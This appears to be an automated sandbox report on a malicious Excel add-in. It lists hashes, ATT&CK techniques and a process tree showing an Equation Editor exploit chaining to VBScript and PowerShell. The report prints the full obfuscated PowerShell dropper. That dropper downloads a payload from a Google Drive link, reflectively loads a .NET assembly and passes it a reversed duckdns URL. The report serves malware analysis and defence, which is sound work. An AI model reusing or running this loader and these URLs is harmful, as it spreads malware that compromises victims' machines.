c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386

General

Target

c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386.xlam
Size

597KB
MD5

b084fdb4d0c9b94ab31e3a762a8ceae9
SHA1

40118c7bde4f52645b341ee5dacca239eeb482ef
SHA256

c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386
SHA512

c7a0b4175be14c6146a5016bcc733096b68acc1ec1a0c9078e3d8038ca3cb025cbff79ef5a85899a0e1b91c00b3e77086f8af1bf3da0f16030f172ce08dbeb17
SSDEEP

12288:YYoYZa3XGB29qpzJjEsC/KW2ZF4wtho8mDYEX4BLKLQ:PRw32XzJjHC/EHtho8mD1X41KM

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G

exe.dropper

https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	3040	EQNEDT32.EXE
7	2964	powershell.exe
9	2964	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe
2964	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
3040	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2368	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2760	powershell.exe
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2368	EXCEL.EXE
2368	EXCEL.EXE
2368	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 2768	3040	EQNEDT32.EXE	32
PID 3040 wrote to memory of 2768	3040	EQNEDT32.EXE	32
PID 3040 wrote to memory of 2768	3040	EQNEDT32.EXE	32
PID 3040 wrote to memory of 2768	3040	EQNEDT32.EXE	32
PID 2768 wrote to memory of 2760	2768	WScript.exe	33
PID 2768 wrote to memory of 2760	2768	WScript.exe	33
PID 2768 wrote to memory of 2760	2768	WScript.exe	33
PID 2768 wrote to memory of 2760	2768	WScript.exe	33
PID 2760 wrote to memory of 2964	2760	powershell.exe	36
PID 2760 wrote to memory of 2964	2760	powershell.exe	36
PID 2760 wrote to memory of 2964	2760	powershell.exe	36
PID 2760 wrote to memory of 2964	2760	powershell.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386.xlam
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2368

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\miraclefridaymanager.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYICgoJ21CUScrJ2ltYWdlVXJsID0gQnJ0aHR0cHM6JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVtLk5ldC5XZScrJ2JDbGllbnQ7bUJRaW1hZ2VCeXRlcyA9IG1CUXdlYkNsaWVudC5Eb3dubG9hZERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4dCA9IFtTeXN0ZScrJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X1NUQVJUPj5CcnQ7bUJRZW5kRmxhZyA9IEJydDw8QkFTRTY0X0VORD4+QnJ0O21CUXN0YXJ0SW5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdGFydEZsYWcpO21CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUWVuZEluZGV4JysnIC1ndCBtQlFzdGFydEluZGV4O21CUXN0YXJ0SW5kZXgnKycgKz0gbUJRc3RhcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSBtQlFlbmRJbmRleCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRleCwgbUJRYmFzZTY0TGVuZ3RoKTttQlFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChtQlFiJysnYXNlNjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZvckVhJysnY2gtT2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcobUJRYmFzZTY0UmUnKyd2ZXJzZWQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQnJ0VkFJQnJ0KTttQlF2YWlNZXRob2QuSW52b2tlKG1CUW51bGwsIEAoQnJ0dHh0LmJiYmJiYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbGEnKydjb2x5YWRpcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZGRJJysnblByb2Nlc3MzMkJydCwgQnJ0ZGVzYXRpdmFkb0JydCwgQnJ0ZGVzYXRpdmFkb0JydCknKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0hBcl0zNikuUkVQTGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEFyXTczK1tjSEFyXTEyMiksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX (('mBQ'+'imageUrl = Brthttps:'+'//drive.google.co'+'m/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G Brt;mBQwebClient = New-Object Sys'+'tem.Net.We'+'bClient;mBQimageBytes = mBQwebClient.DownloadData(mBQimage'+'Url);mBQimageText = [Syste'+'m.Text.Encoding]::UTF8.GetString(mBQimageBytes);mBQstartFlag = Brt<<BASE64_START>>Brt;mBQendFlag = Brt<<BASE64_END>>Brt;mBQstartIndex = mBQimageText.IndexOf(mBQstartFlag);mBQendIndex = mBQimageText.IndexOf(mBQendFlag);mBQsta'+'rtIndex -ge 0 -and mBQendIndex'+' -gt mBQstartIndex;mBQstartIndex'+' += mBQstartFlag.Length;mBQbase64Length = mBQendIndex - mBQstartIndex;mBQbase'+'64Command = mBQimageText.Substring(mBQstartIndex, mBQbase64Length);mBQbase64Reversed = -join (mBQb'+'ase64Command.ToCharAr'+'ray() sIz ForEa'+'ch-Obj'+'ect { mBQ_ })[-1..-(mB'+'Qbase6'+'4C'+'ommand.Length)];mBQcommandBytes = [System.Convert]::FromBase64String(mBQbase64Re'+'versed);mBQloadedAssembly = [System.Reflection.As'+'sembly]::Load(mBQcommandBytes);mBQvaiMethod = [dnlib.IO.Home].GetMethod(BrtVAIBrt);mBQvaiMethod.Invoke(mBQnull, @(Brttxt.bbbbbbbbbbbewmadam/gro.sndkcud.reganamla'+'colyadirf//'+':ptthBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtAddI'+'nProcess32Brt, BrtdesativadoBrt, BrtdesativadoBrt)'+');').REPLace('mBQ',[STRinG][cHAr]36).REPLace(([cHAr]66+[cHAr]114+[cHAr]116),[STRinG][cHAr]39).REPLace(([cHAr]115+[cHAr]73+[cHAr]122),'|'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
5e13f257c7c69e31a0d353ecf53a7d23

SHA1
228012e1079d57566e7d3e854a2a92ca9860df9c

SHA256
55b872e307d1afa82d346227e4009b931bd3832d1c0bcce3e58ea0004c99de2f

SHA512
48f229ba7a276e6f9d964a8f209f6bea0b570a456a38894f83523b177014f206c179379053541f730c3821cf8d13a09d5078bfb87689bba7fd6eb038c80cacf3

Download Submit
C:\Users\Admin\AppData\Roaming\miraclefridaymanager.vbs

Filesize
192KB

MD5
1e74a1e9b214a5e7de05d71bc03849e8

SHA1
4313868bae215573da78b467d5a7390a6a86117c

SHA256
01eed58d2c0ff62733000b76b6ab80124480f5af9195a33c3157c60df2f3cd80

SHA512
3fcb390d7bae3e6d0ae3e0cc4d50825a27872930633747bbcc07e75ccbb2d392336fe8cb6267ca2bbf05b88002249b7d41a9eb9f8559d719058fda18d90ef4af

Download Submit
memory/2368-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2368-1-0x000000007246D000-0x0000000072478000-memory.dmp

Filesize
44KB

Download
memory/2368-16-0x000000007246D000-0x0000000072478000-memory.dmp

Filesize
44KB

Download

Analysis

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